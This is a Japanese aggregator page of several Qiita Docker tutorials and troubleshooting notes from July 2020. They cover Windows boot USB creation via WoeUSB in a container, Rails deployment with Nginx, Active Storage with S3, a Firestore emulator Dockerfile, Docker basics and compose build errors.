20200714のdockerに関する記事は16件です。

[Mac][USB][Docker] MacOSでWindows 7 iso からWiondows PC向けUSB起動メディア作成

Windows 7 Ultimate がBIOSから起動しなくなったので (おそらくWindows update が原因
詳しくは別記事。)
手持ちのMacbook で、Docker 上のUbuntu でUSB起動メディアを作成した。

(Mac 上でWindows PC用の起動メディア は例はあまり見つからなかったので (Mac のBoot Camp用はあったが)
書留ておく。)

起こったこと  

Windows 7Windows update の後の再起動で BIOSから突然起動しなくなった。(trap? Bitlocker の暗号化更新が 古いbootloaderに対応していない

A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.

If you have a Windows installation disk, insert the disk and restart your computer. Click "Repair your computer", and then choose a recovery tool.

Otherwise, to start Windows so you can investigate further, press the Enter key to display the boot menu, press F8 for Advanced Boot Options, and select Last Known Good. If you understand why the digital signature cannot be verified and want to start Windows without this file, temporarily disable driver signature enforcement.

File: \Windows\System32\winload.exe

Status: 0xc0000428

Info: Windows cannot verify the digital signature for this file.

https://neosmart.net/wiki/0xc0000428/

https://www.borncity.com/blog/2019/08/21/windows-7-neuinstallation-und-der-boot-fehler-0xc0000428/
->
結果的に、Windows機向け起動メディアをMacで作成して 修復した。

Windows の代替機があれば、起動メディア作成も難しくないかもだが、
Macbook しかなかったため、容易に方法がみつからなかった。

はじめは検索に出てきたEasy Recovery Essentials というソフトを利用する方法で修復を試みた、が
Bootはしたが結果修復は失敗 したようで、逆にエラー画面すらでなくなった。
そのため、起動メディアを作成 を試すことにした。

https://neosmart.net/wiki/0xc0000428/

細かい流れは別記事に。

試したこと

Mac上で iso などを USB に焼けそうなものだと
UNetBootin, dd, Balena etcher, 直接ファイルコピペ, diskutil など方法があるが、
ファイルformatシステム (FAT32 など) が違うのか
bootable としてて 今回のWindows7 isoはBIOS認識しなかった。

起動メディア作成方法

そして結局うまくいったのは、 WoeUSB
Ubuntu上で動作する WoeUSB が Windows 向けのWindows 起動メディア作成に適しているよう。open source。
https://github.com/slacka/WoeUSB

(Virtualbox/Docker などに Windows iso入れてもよかったが、容量が必要そうだったので
手軽なUbuntu にした。)

Docker + Ubuntu を利用した起動メディア作成の流れ

  • VirtualBox manager でdocker-machine で利用する virtualbox の USB busへのアクセス権利を与える
  • 同時に、ファイル共有などで、ローカル(Mac) にダウンロードしたiso などをコンテナと共有する
  • docker-machine ssh で boot2docker に入り、そこから docker run -v /Volume/shared:/Volume/shared --priviledged --device=/dev/sdb1 ubuntu などとして さらにファイル共有 + USBドライブにアクセス権を渡す
  • 作成したdocker image 上で、WoeUSB をインストールし コマンド実行する

Ubuntu の用意

Docker 上に用意。

今回は、コンテナに
* Virtualbox manager で、USB busにアクセスできるように設定
* docker run--priviledged--device オプションでUSBドライブのアクセス権を渡す。
* 同時に -v で 共有する Volumeを指定する。

# /dev/以下の device node 特定
$ lsblk
...
sda    8:0    0  40G  0 disk
sda1   8:1    0  40G  0 part / #(例

WoeUSB インストールと実行

そのままだと、上手くインストールできなかったが、
記事があったので参考。

https://github.com/slacka/WoeUSB/issues/311

https://www.how2shout.com/linux/how-to-install-woeusb-on-ubuntu-20-04-lts/

# 以下のようにCUI実行 (これはパーティションなし ですべて初期化の場合
$ woeusb --device win7_amd64.iso /dev/sdb 

https://www.mankier.com/1/woeusb

注意点

  • BIOS 起動時にUSB 起動メディアを先にロードするなどBIOS 設定も注意 (BIOS のFast booting などオプションを無効にする
  • BIOS で修復対象のドライブが無効だと 自動修復の際に読み込まれずに、USBメディア自体を書き換える
  • 私の場合 認識するファイルフォーマットは FAT32 (32GB 以上のメモリなら ExFAT)

https://www.quora.com/Which-format-is-better-for-installing-Windows-from-a-USB-drive-FAT32-NTFS-or-exFAT

参考

https://apple.stackexchange.com/questions/355930/how-to-create-a-windows-10-bootable-usb-on-a-mac-for-pc-without-bootcamp-when-i

https://stackoverflow.com/questions/35854886/how-do-i-access-a-usb-drive-on-a-osx-host-from-inside-a-docker-container

https://minus9d.hatenablog.com/entry/2018/11/12/224538

https://qiita.com/shungok/items/6c5a7b5a9d63d51e6615

https://armadillo.atmark-techno.com/blog/10899/4191

https://chrolis.hatenablog.com/entry/2018/09/09/105258

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

dockerコンテナでgoofysを利用する場合

取り急ぎメモ

docker-compose.yml
  privileged: true
  volumes:
    - "/dev/fuse:/dev/fuse"
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Ruby on RailsのポートフォリオにDockerを組み込む!

現在の状態

みなさんこんにちわ今回Qiita初投稿を行います!
間違っているところがあると思いますがその時は優しく教えてください(笑)
今回、AwsとDockerを用いて既に作成済のRailsのポートフォリオをデプロイしています。
現在の状態は、railsとAws用いてポートフォリオを作成したのですが、環境構築が大変だと思い、環境周りをコードで管理しやすいDockerを用いてポートフォリオを際デプロイしたいと思います。

構成図

デプロイの際の構成図は以下の通りです。
スクリーンショット 2020-07-14 21.27.20.png
めちゃくちゃ簡単に説明するとクライアントから通信リクエストが来るとNginxに行き動的な処理が必要な際はpumaに通信を行いその際にpumaとmysqlも通信する流れとなっています。
今回はこの構成をDockerを用いて作成していきたいと思います。

必要な物

今回デプロイする際はAwsのEC2とRDSをを使用します。
Dockerで環境構築を行いますが、データの永続化の観点から今回データベースはDockerではなくRDSのMysqlをしようします。
以下作業に必要な準備と作業です。

・AwsでEC2、RDSを用いてデプロイする際に必要な準備を行う(ネットワーク構成など...)
・local環境とEc2にDokcerをインストール
・local環境とEc2にDocker-composeをインストール

参考にした記事

EC2上でRailsアプリケーションにDockerを導入する(Rails、Nginx、RDS)
Rails On DockerでのAWSデプロイができたので,中身を整理します。

作業

まずはじめにDockerファイルを作成します。
ここではDockerfileを用いてRuby周りの環境を構築するコードを書きます。

FROM ruby:2.5.7

RUN apt-get update -qq && \
    apt-get install -y build-essential \
                       libpq-dev \
                       nodejs \
                       vim

RUN mkdir /アプリの名前

WORKDIR /アプリの名前

ADD Gemfile /アプリの名前/Gemfile
ADD Gemfile.lock /アプリの名前/Gemfile.lock

RUN gem install bundler
RUN bundle install

ADD . /アプリの名前

RUN mkdir -p tmp/sockets
RUN mkdir -p tmp/pids

次にDocker-composeを作成します。
ここではDockerコンテナの管理やマントする箇所の指定を行っていきます!

Docker-compose.yml
version: '3'
services:
  app:
    build: .
    command: bundle exec puma -C config/puma.rb -e production
    volumes:
      - .:/アプリの名前:cached
      - public-data:/アプリの名前/public
      - tmp-data:/アプリの名前/tmp
      - log-data:/アプリの名前/log

  web:
    build:
      context: containers/nginx
    volumes:
      - public-data:/アプリの名前/public
      - tmp-data:/アプリの名前/tmp
    ports:
      - 80:80

volumes:
  public-data:
  tmp-data:
  log-data:

次に以下のファイルを作成します。
ここではNginxコンテナの設定を行っていきます。

FROM nginx:1.15.8

RUN rm -f /etc/nginx/conf.d/*

ADD nginx.conf /etc/nginx/conf.d/アプリの名前.conf

CMD /usr/sbin/nginx -g 'daemon off;' -c /etc/nginx/nginx.conf
containers/nginx/nginx.conf
upstream FashionInformation_app {
  server unix:///アプリの名前/tmp/sockets/puma.sock;
}

server {
  listen 8000;
  server_name ドメイン名;

  access_log /var/log/nginx/access.log;
  error_log  /var/log/nginx/error.log;

  root /アプリの名前/public;

  client_max_body_size 100m;
  error_page 404             /404.html;
  error_page 505 502 503 504 /500.html;
  try_files  $uri/index.html $uri @アプリの名前;
  keepalive_timeout 5;

  location @アプリの名前 {
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Host $http_host;
    proxy_pass http://アプリの名前;
  }
}

Railsアプリケーションをデプロイする

ここまできたらEC2にgitをクローンします!

ec2-user@ip-xxx-xx-xx-xxx ~]$ git clone GitHubのリポジトリのURL

イメージのビルド

ec2-user@ip-xxx-xx-xx-xxx]$ cd myapp
[ec2-user@ip-xxx-xx-xx-xxx myapp]$ docker-compose build

サーバー起動前の準備

[ec2-user@ip-xxx-xx-xx-xxx myapp]$ docker-compose run app rails assets:precompile RAILS_ENV=production

サーバー起動前の準備

[ec2-user@ip-xxx-xx-xx-xxx myapp]$ docker-compose up -d

データベースの作成、マイグレーションファイルの読み込み

[ec2-user@ip-xxx-xx-xx-xxx myapp]$ docker-compose exec app rails db:create db:migrate RAILS_ENV=production

パブリックIPにアクセスして、正しく表示されれば成功です!

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Docker+Rails環境でActive Storageを導入する

Active Storageとは?

Rails5.2系から利用可能な、ファイルアップローダーです。
develop(開発)環境ではローカルに画像を保存、product(本番)環境ではAmazon S3やGCS、Microsoft Azure Storageに画像を保存したりと、ファイルのアップロード先を簡単に切り替えることができます。

ファイルアップローダー用のGemでは、carrierwave などが有名ですが、新規に画像用のカラムを追加しなければいけなかったりと、なかなか大変です。
対するActiveStorageは、画像追加したいテーブルに対してカラム追加をする必要がありません。carrierwaveよりお手軽に導入できるので、その手順を紹介していきたいと思います。

導入手順

※既に投稿機能は実装済みであることが前提です。(Productモデル、Articleモデルなど)
今回は、dev環境でAmazon S3にアップロードする手順を紹介していきます。

Active Storageのインストール

$ docker compose run web rails active_storage:install
$ docker compose run web rails db:migrate

すると、active_storage_blobsactive_storage_attachmentsという名前の2つのテーブルが作成されます。

active_storage_blobsは実際にアップロードしたファイルが保存されるテーブルで、active_storage_attachmentsは中間テーブルになります。

【Rails】Active Storageを使って画像をアップしよう! | Pikawaka - ピカ1わかりやすいプログラミング用語サイト様より引用

実際にActive Storageを扱っていく上で、上記の2つのテーブルには一切触れません。

単一ファイルのみアップロードする場合

product
class Product < ApplicationRecord
  has_one_attached :image #カラム名を記述
end

上記、カラム名と書いていますが好きな名前でいいです。(僕はimageとしています。)
カラム名と書いていますが、実際にProductモデルにimageカラムは追加する必要がありません。

products_controller.rb
  def new
    @product = Product.new
  end

  def create
    @product = Product.new (product_params)
    @product.producer_id = current_producer.id
    if @product.save
      redirect_to product_path(@product), notice: "投稿に成功しました"
    else
      render :new
    end
  end

 def product_params
    params.require(:product).permit(:name, :description, :price, :content, :image)
  end

ストロングパラメーターに、 :image を追加します。

new.html.erb
<h2>商品の出品</h2>
<%= form_for @product do |f| %>
  <label>商品名</label>
  <p><%= f.text_field :name %></p>

  <label>出品時のタイトル</label>
  <p><%= f.text_field :content %></p>

  <label>商品の値段</label>
  <p><%= f.number_field :price %></p>

  <label>画像</label>
  <p><%= f.file_field :image %></p> #画像投稿部分

  <label>商品内容</label>
  <p><%= f.text_area :description %></p>

    <%= f.submit %>

<% end %>

画像を表示する際は、 <%= image_tag @product.image %>とすれば表示できます。

複数ファイルをアップロードする場合

product.rb
class Product < ApplicationRecord
  has_many_attached :images #複数形
end
products_controller.rb
  def new
    @product = Product.new
  end

  def create
    @product = Product.new (product_params)
    @product.producer_id = current_producer.id
    if @product.save
      redirect_to product_path(@product), notice: "投稿に成功しました"
    else
      render :new
    end
  end

 def product_params
    params.require(:product).permit(:name, :description, :price, :content, images: []) #images: []という形で、配列にする
  end
new.html.erb
<h2>商品の出品</h2>
<%= form_for @product do |f| %>
  <label>商品名</label>
  <p><%= f.text_field :name %></p>

  <label>出品時のタイトル</label>
  <p><%= f.text_field :content %></p>

  <label>商品の値段</label>
  <p><%= f.number_field :price %></p>

  <label>画像</label>
  <p><%= f.file_field :images, multiple: true %></p> #画像投稿部分

  <label>商品内容</label>
  <p><%= f.text_area :description %></p>

    <%= f.submit %>

<% end %>
show.html.erb
<% if @product.images.attached? %>
  <% @product.images.each do |image| %>
    <%= image_tag image %> <br>
  <% end %>
<% end %>

<% if @product.images.attached? %> で、@productが画像を持っているかどうかを判断しています。
@productが持っているimages(画像)を、each文で回して images[ ] の中身を全て表示しています。

ファイルの保存先の指定

config/environments/development.rb を確認します。

  config.active_storage.service = :local

という部分がありますが、これはデフォルトでローカルに保存するように設定されています。
S3に保存したい場合は、

  config.active_storage.service = :amazon

に変更します。

次に config/storage.yml を設定していきます。
amazon、GCS,AzureStorageがコメントアウトされてますが、amazonの部分のコメントをすべて外しましょう。

config/storage.yml
amazon:
  service: S3
  access_key_id: <%= Rails.application.credentials.dig(:aws, :access_key_id) %>
  secret_access_key: <%= Rails.application.credentials.dig(:aws, :secret_access_key) %>
  region: "ap-northeast-1" # 東京リージョン
  bucket: "S3で自分が作ったバケット名"

Gemfileを追加します。

gem "aws-sdk-s3", require: false

Gemfileを追加したので、docker-compose build します。(この部分は人によります。)

$ docker-compose build

認証情報の記述

credentials.yml.encに、アクセスキーとシークレットアクセスキーを記述していきます。
Docker無しの環境であれば、

$ EDITOR=vim rails credentials:edit

で行けるのですが、Docker環境の場合上記のコマンドでは上手くいきませんでした。
Rails on Dockerでcredentialsをeditしたい
の記事がとても分かりやすく、Docker+rails環境ででcredential編集ができるようになります。

 aws:
   access_key_id: アクセスキー
   secret_access_key: シークレットアクセスキー

上記3行のコメントアウトはすべて外しましょう。

バケットとIAMユーザーの作成

めちゃくちゃ長くなるので割愛しますが、大まかにいうと、
1. IAMユーザー作成(AmazonS3FullAccessのポリシーを付与)
2. IAMユーザー作成時にアクセスキー、シークレットアクセスキーが記述されたcsvファイルをダウンロード(1回しかダウンロードできないので、管理は厳重にしておく)
2. S3のバケットを作成

上手くいけばS3アップロード成功となります。

参考にさせていただいた記事

【Rails 5.2】 Active Storageの使い方 - Qiita

Rails on Dockerでcredentialsをeditしたい

https://railsguides.jp/active_storage_overview.html

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Dockerを再起動するとwebアプリで保存した画像が消えるのを解決した

環境

  • Docker version 19.03.8, build afacb8b
  • docker-compose version 1.25.5, build 8a1c60f6
  • Java 1.8
  • SpringBoot 2.2.5.RELEASE

事象

Dockerに載せたWebアプリで画像を保存してから、
Dockerを再起動すると保存した画像ファイルが消えてしまう。

原因

名前付きボリュームのパス指定とアプリ側で画像保存するパスが異なっていた。なので、保存した画像は名前付きボリュームには保存されず、コンテナを停止したら消えてしまっていたというオチ。

DBとかのパス指定を参考に設定していたけど、アプリ側が登録する場所に
合わせないとそりゃだめだよね・・・

アプリが画像を保存する先

/static/images/xx/xxx.png

docker-compose.ymlを以下のように修正

# 修正前
volumes:
  - images:/var/itetenosuke/images

# 修正後
volumes:
  - images:/static/images

これでDocker再起動しても画像消えなくなった。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Dockerについて

前提

Dockerについて学んだことを書いていきます。

本題

Dockerって何

なぜ注目されているのか

Dockerは毎年のように人気度が増えていて、インフラとDevelopmentを融和させるDevOpsという風潮の中では、なくてはならない存在のため。

なぜ必要

コードを速く正確にユーザーに渡すことができるため。
どういうことかというと、今まではDeveloperがコードを書いて、そのコードをインフラエンジニアに渡して、インフラが環境変数やライブライーのインストールを本番環境で行なっていた。
ここで問題なのが、開発・テスト・本番環境が同一ではないということ。
つまりOSが違えば、ライブラリーのバイナリーも違い、開発環境では動いていたのに本番では不動作が起こるということがよくあった。

どういう風に解決するか

開発チームがコードとライブラリーをパッケージングしてdocker imageを作り(コンテナ化)、運営チームにdocker imageをそのまま渡すことで、ライブラリーやDependencyの食い違いを防げる。

つまりコンテナ化とは

コンテナという技術を使い、コードとライブライーやパッケージをパッキングすること。

まとめ

開発環境と運用環境を一緒にする(コードとDependencyをコンテナ化)ことで、環境の違いによる不動作を防げるようになる。

従来の運用と何が違うのか

今までは、ファイルやフォルダーをJenkinsなどのCICDパイプラインを使い、本番環境のサーバーにコピーしていた。
Dockerでは、コードとライブラリをパッケージングしてdocker imageを作り、本番環境のサーバーにdocker imageをダウンロードし、それを実行するだけでOKになった。
つまりDeployする最小単位のアーティファクトが、コンテナ(コード+パッケージ)に代わりOS環境問わず同一の動作をする。

従来のOS仮想化とDockerの違い

従来の仮想化は、1つのOS上に複数の仮想OSを置いて、そこでアプリケーションを動かしていた。
Dockerの場合は、1つのOS上にDocker engineを起動し複数のコンテナを起動する。
そのためDockerの場合は、仮想OSと仮想マシンをホストOS上にコピーする必要がなくなる。

OS仮想化と比べたDockerのメリット

・リソースが軽い
OSを複数使わない分オーバーヘッド(複数のOSイメージとカーネル)が減り、プロセッサやメモリの消費が少なくなる。

・ストレージの使用量が減る
OSイメージの通常サイズが5−10GBに対し、Docker Imageのサイズは1−2GBのためストレージの使用量も減る。

・起動時間が速い
カーネルをいちいちロードする手間が省け、仮想マシンに比べて起動時間が短くなる。

・複数環境での運用が楽
DockerがインストールされているOSならばどこでもコンテナが起動できる。

イメージとコンテナの違い

例えると、ClassとObject、車の設計図と実際の車のようにテンプレートVS実物といういい違い。

Linuxの基本操作

Linuxのカーネルとは

簡単に言うと、カーネルとはハードウェア民族と通訳ができる人(唯一のソフトウェア)のこと。

シェルとは

カーネルに直で繋がっているチャットインターフェース的なもの。
シェル(ターミナル)はシェル言語という言語でもある。
sh、tcsh、bash、zshがよく使われるコマンド。
シェルは人間とカーネルの間の伝達マンのため、インプットとアウトプットも表示できる。

シェルのSTDINとSTDOUTとは

ターミナルで見えるシェルは、フォアグランドプロセスで、インプット(STDIN)とアウトプット(STDOUT&STDERR)が見える。
これがバックグラウンドのプロセスは、アウトプットもインプットも見えない状態。
これを見えるようにするには、シェルのSTDINとSDTOUTをターミナルに繋げることが必要。
このフローをTTY(Tele Typewrite)をアタッチすると言う。
このTTYをターミナルにアタッチすることは(プロセスをターミナルから会話できる)、Dockerの中にシェルで入る時にdocker exec --interactive --ttyで使う。

シェル基本コマンド

シェルでは、タスクマネージャーのようにプロセスを表示できる。
また、バックグランドも起動できる。

#プロセス(process status)の表示
$ ps
#プロセスをバックグランドで起動(-&)
$ sleep 50 -&
#プロセスをフォアグランドに戻す(-fg)
$ fg

Linuxにはサーチバーがないため、ファイルやフォルダーをサーチする場合コマンドを使う。

#ファイル・フォルダを探す(-find)
$ find / -type d -name nginx

Dockerの一連作業フロー

  • Nginx Dockerイメージを取得
$ docker pull nginx
  • Dockerイメージを表示 (List)
$ docker images
  • Dockerイメージの履歴を表示 (History)
$ docker history nginx
  • Dockerイメージを削除 (Delete Docker Image)
$ docker rmi nginx

$ docker images

Hello Wold

  • nginxサーバーのコンテナを起動 (Run)
$ docker run -p 80:80 --name nginx nginx
  • 作動中のコンテナ一覧を表示 (List)
docker ps

# 停止中のコンテナも全て一覧表示
docker ps --all
  • コンテナのログを表示 (Log)
docker logs nginx
  • コンテナのメタデータを見てみる (Inspect Docker container)
docker inspect nginx
  • Stop
docker stop nginx
  • 停まったコンテナを削除 (Remove)
docker rm nginx
  • コンテナをバックグラウンドで起動 (--detach)
docker run --detach -p 80:80 --name nginx nginx
  • 作動中のコンテナの中にシェルで入る (Exec)
docker exec -it nginx sh

exit
docker stop nginx
  • コンテナの環境変数を設定する --env TEST_ENV=hellow_world
docker run --env TEST_ENV=hellow_world -d --name nginx nginx

docker exec -it nginx env
docker stop nginx
  • コンテナに繋げるホスト側のポートを変える -p 8080:80
docker run -p 8080:80 -d --name nginx nginx

curl localhost:8080
  • NginxのConfigファイルを見つける
docker exec -it nginx sh

find / -type d -name nginx | xargs grep -r  html
  • デフォルトのHTMLファイルを表示する
cat /usr/share/nginx/html/index.html
  • デフォルトのHTMLファイルを”Hello World"へ上書き
echo "Hello World" > /usr/share/nginx/html/index.html

exit
curl localhost:8080
docker stop nginx
  • コンテナにホストからファイルをコピー (attach volume) --volume "$(pwd)":/usr/share/nginx/html
touch index.html && echo “hello world” > index.html

docker run -d --volume "$(pwd)":/usr/share/nginx/html -p 80:80 --rm --name nginx nginx

curl localhost:80
  • 起動中のコンテナからHello Worldイメージ作成 (commit)
docker commit nginx hello_world
docker stop nginx

docker images

# Hello Worldイメージからコンテナ起動して確認
docker run -d -p 80:80 --name hello_world hello_world

curl localhost:80

# Hello Worldが返ってこない理由は、Docker Volumeでマウントされたファイルはコンテナ内に保存されないから

docker run  -p 80:80 --rm --name nginx -d  nginx 

docker exec -it nginx sh
echo "hello from container" > /usr/share/nginx/html/index.html
exit

curl localhost:80

# imageを作成
docker commit nginx hello_world

# Imageからコンテナ起動
docker run -p 8080:80 --rm -d --name hello_world hello_world

curl localhost:8080
# hello worldが返ってくる

自作のDockerimageを作る

起動したコンテナからも1コマンドでイメージを作れる。

  • 起動中のコンテナからHello Worldイメージ作成 (commit)
docker commit nginx hello_world
docker stop nginx

docker images

# Hello Worldイメージからコンテナ起動して確認
docker run -d -p 80:80 --name hello_world hello_world

curl localhost:80

# Hello Worldが返ってこない理由は、Docker Volumeでマウントされたファイルはコンテナ内に保存されないため

docker run -p 80:80 --rm --name nginx -d nginx 

docker exec -it nginx sh
echo "hello from container" > /usr/share/nginx/html/index.html
exit

curl localhost:80

# imageを作成
docker commit nginx hello_world

# Imageからコンテナ起動
docker run -p 8080:80 --rm -d --name hello_world hello_world

curl localhost:8080
# hello worldが返ってくる

他にも、リポからダウンロードできるイメージにえり好みの素材(パッケージ等)をDockerfileに加えてMyイメージも作れる。

DockerfileはUMLダイアグラムみたいなもので(Classデザイン)、Dockerイメージがクラス、コンテナがオブジェクトみたいなもの。

つまり、DockerfileはDockerイメージ(たい焼き機)を作るレシピ(設計書)

Dockerfileでレシピの作成

# Dockerfileを作成
touch Dockerfile
# Dockerfileにマルチラインテクストを保存

cat > Dockerfile <<EOF
# FROMでイメージを指定
FROM nginx:latest 

WORKDIR /usr/share/nginx/html

# COPYでホストからファイルをイメージにコピー
COPY index.html index.html 

# RUNでシェルコマンドを実行
RUN apt update && apt install -y curl

# 他にもWORKDIR,ENV,CMDなど変数がある
EOF

実はDockerイメージは、このDockerfileの各ラインが追加されるごとに、薄いReadOnlyイメージレイヤーを追加している。

その証拠に、docker buildコマンドのアウトプットで、各コマンドステップで新たなコンテナイメージ層が作られているのが確認できる。

  • Dockerfileからイメージ作成 (build)
$ docker build --tag dockerfile_hello .

# 自作イメージからコンテナを起動
$ docker run -d -p 9090:80 --name hello_v2 dockerfile_hello

curl localhost:9090

イメージレイヤーはDockerfileで指定したコマンドと一致している。
つまり、Dockerfileの1コマンドごとにReadOnlyイメージレイヤーが上乗せされていく。

  • ドッカーイメージの履歴を表示 (History)
$ docker history dockerfile_hello
  • 自作イメージをリポで公開

Dockerイメージを作ったら、あとはタグ付けをして、DockerHubなどのコンテナレジストリーにプッシュ。

  • 作成したイメージをタグ付けする(ユーザーネーム/リポ名)
docker tag dockerfile_hello ユーザーネーム/dockerfile_hello_world_nginx
  • Docker Hubにログイン
docker login
  • DockerHubの自分のリポにイメージをアップロード
docker push cscareerkaizen/dockerfile_hello_world_nginx

コンテナ・イメージのクリーンアップ

  • 停止中のコンテナと無名のイメージを削除
docker system prune
  • 起動中のコンテナ含め全コンテナを削除(注意)
docker rm -vf $(docker ps -a -q)
  • 全てのイメージを削除(注意)
docker rmi -f $(docker images -a -q)

DockerComposeで複数コンテナ管理

例えば、Nginxの他にNodeコンテナも起動したい場合などに登場するのがdocker-compose。
docker runとdocker-composeの対応関係について、
docker-composeはYML形式のファイルで、複数のコンテナを一括管理することができる。

YMLファイルとは、インデントで区切りをつけるJSONの兄弟のようなもの。
さらに、トップダウンのヒエラルキーになっている。

docker-compose CLIを使って起動・停止

  • docker-composeのYAMLに定義されたサービスを起動する
docker-compose -f docker-compose.yaml up

docker ps
  • 複数コンテナのログをまとめてみる
docker-compose -f docker-compose.yaml logs -f
  • docker-composeのYAMLに定義されたサービスを停止
docker-compose -f docker-compose.yaml down

Docker-composeでコンテナを大量生産
他にも、docker-composeで各コンテナのレプリカを複数起動できる。

まずContainerNameを除き、ホスト側のポートをレンジに変更 (重複を避けるため)。

  • upコマンドに--scaleオプションでレプリカ数を指定
docker-compose -f docker-compose.replicas.yaml up --scale nginx=3

Inspect docker network
Docker-composeで定義されたコンテナ同士で連絡取れるようになっている。

ただYAMLの外でコンテナを起動すると、NGINXコンテナに繋がらない。

  • docker_compose_ubuntuコンテナに入って、NginxにCurl。
docker exec -it docker_compose_ubuntu sh
apt update && apt install -y curl

curl docker_compose_nginx:80
Hello World
  • UbuntuコンテナをDocker runで起動してCurlをインストール
docker run --name test -it --rm curlimages/curl:7.68.0 sh

curl docker_compose_nginx:80
curl:(6) Could not resolve host:
docker_compose_nginx
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Dockerの開発環境でGitHubを使用する方法

環境

macOS 10.15.5

コンテナの中に入る

コンテナを起動し指定のコンテナの中に入ります。

terminal
$ docker ps
$ docker exec -i -t コンテナ名 bash

Gitをインストール

terminal
apt-get update && apt-get install -y git

ソースコードのダウンロード

terminal
git clone https://github.com/〇〇/〇〇.git

(必要に応じて)vimのインストール

terminal
apt-get install y vim

例に倣いGitHubと連動

わたしが以前にブログをあげていますのでこちらを参照ください!
GitHubの大まかな全体的な操作方法

pushの際にUsenameとPasswordが求められますので下記の内容を入力します。
Username for 'https://github.com': (GitHubのユーザー名)
Password for 'https://〇〇@github.com': (GitHubアカウントのパスワード)

これで完成になります!Dockerの開発環境の構築のやり方も紹介していますので下記をご覧ください^_^

DockerでRuby on Railsの環境開発を構築

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

DockerでFirestoreのエミュレータを動かす

環境

  • OS: Arch Linux
  • Docker: 19.03.12-ce build 48a66213fe

ファイル

Dockerfile
FROM node:12

RUN yarn global add firebase-tools && \
    firebase setup:emulators:firestore && \
    wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add - && \
    apt update && \
    apt install -y software-properties-common apt-transport-https && \
    add-apt-repository -y https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/ && \
    apt update && \
    apt install -y adoptopenjdk-11-hotspot

COPY conf/firebase.json .

CMD [ "firebase", "emulators:start", "--only", "firestore" ]
conf/firebase.json
{
  "emulators": {
    "firestore": {
      "host": "0.0.0.0"
    }
  }
}

解説

firebase-tools のインストールと設定

firebase コマンドを利用するためにはnpmパッケージである firebase-tools をインストールしなければなりません。
なので、 yarn global add firebase-tools として firebase-tools をインストールしています。

また、 Firebase の Firestore エミュレータ機能を設定するために firebase setup:emulators:firestore を実行しています。

Java のインストール

Firestore のエミュレータを動かすためには Java が必要となるので、 AdoptOpenJDK をインストールします。

まず、GPGキーをインポートします。

wget -qO - https://adoptopenjdk.jfrog.io/adoptopenjdk/api/gpg/key/public | apt-key add -

続いて、パッケージリストを更新して、 apt-add-repository を実行するために必要な software-properties-common とHTTPSリポジトリにアクセスするために必要な apt-transport-https をインストールします。

apt update
apt install -y software-properties-common apt-transport-https

最後にAPTリポジトリの追加とパッケージリストの更新を行って、 AdoptOpenJDK をインストールします。

add-apt-repository -y https://adoptopenjdk.jfrog.io/adoptopenjdk/deb/
apt update
apt install -y adoptopenjdk-11-hotspot

設定ファイルの配置

このままでもエミュレータを起動することは出来ます。
しかし、ホストが localhost になっているため、このコンテナ内からしかアクセス出来ません。

ホストや他コンテナからアクセスするためには、ホストを 0.0.0.0 としなければなりません。
なので、 firebase.json を用いてホストを設定します。

firebase.json
{
  "emulators": {
    "firestore": {
      "host": "0.0.0.0"
    }
  }
}

これをCOPYによってカレントディレクトリに配置しています。

実行

あとは firebase emulators:start --only firestore をCMDによって実行させると起動します。

⚠  emulators: You are not currently authenticated so some features may not work correctly. Please run firebase login to authenticate the CLI.
i  emulators: Starting emulators: firestore
⚠  firestore: Did not find a Cloud Firestore rules file specified in a firebase.json config file.
⚠  firestore: The emulator will default to allowing all reads and writes. Learn more about this option: https://firebase.google.com/docs/emulator-suite/install_and_configure#security_rules_configuration.
i  firestore: Firestore Emulator logging to firestore-debug.log

┌──────────────────────────────────────────────────────────────┐
│ ✔  All emulators ready! It is now safe to connect your apps. │
└──────────────────────────────────────────────────────────────┘

┌───────────┬──────────────┐
│ Emulator  │ Host:Port    │
├───────────┼──────────────┤
│ Firestore │ 0.0.0.0:8080 │
└───────────┴──────────────┘
  Other reserved ports: 

Issues? Report them at https://github.com/firebase/firebase-tools/issues and attach the *-debug.log files.
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

$docker-compose build . でERROR: No such service: . のエラーが出た

Dockerfile, Gemfile, Gemfile.lock, docker-compose.ymlだけ用意して、
Railsのコンテナを立ち上げようと$docker-compose build .したところ、

$docker-compose build .
ERROR: No such service: .

というエラーが出た。

やってみたこと①

調べてみて、カレントディレクトリで起動しない時は
docker-compose.ymlに、container_nameの環境変数を設定し、コンテナ名指定でbuildしたらいいとのこと。

container_name: <任意のcontainername(以下x)>
を追記して、$docker-compose build xを実行。

しかし、
ERROR: No such service: X
とまたエラーが。

やってみたこと②

$ docker-compose up --build
buildだけではなく、upにbuildオプションをつけて実行。

ERROR: for x  Cannot start service app: driver failed programming external connectivity on endpoint x (1a6e5c0ea852dd7d3b92a0456e83a1c17880e38a71563eb3a350693ca620b1ab): Bind for 0.0.0.0:3000 failed: port is already allocated

ERROR: for app  Cannot start service app: driver failed programming external connectivity on endpoint x(1a6e5c0ea852dd7d3b92a0456e83a1c17880e38a71563eb3a350693ca620b1ab): Bind for 0.0.0.0:3000 failed: port is already allocated
ERROR: Encountered errors while bringing up the project.

そうすると指定したportがすでに使われているとのエラーが出たので、portを3000:3000から8080:8080に変更して再度$docker-compose up --buildを実行。

エラーが出ずきちんと走ったので、buildできるかと思ったが、

Attaching to X
で止まってしまった。

やってみたこと③

$docker-compose --verbose build --no-cache

キャッシュ無視でbuildを実行したところ、

Successfully built 1e7c8561a9d9
Successfully tagged foldername_app:latest
compose.cli.verbose_proxy.proxy_callable: docker close <- ()
compose.cli.verbose_proxy.proxy_callable: docker close -> None

でbuildが成功した。

$ docker-compose ps
        Name           Command   State    Ports
-----------------------------------------------
x   irb       Exit 1

StatusがExitになっていたので、$docker restart x で再起動したらUPになった。

  • このエントリーをはてなブックマークに追加
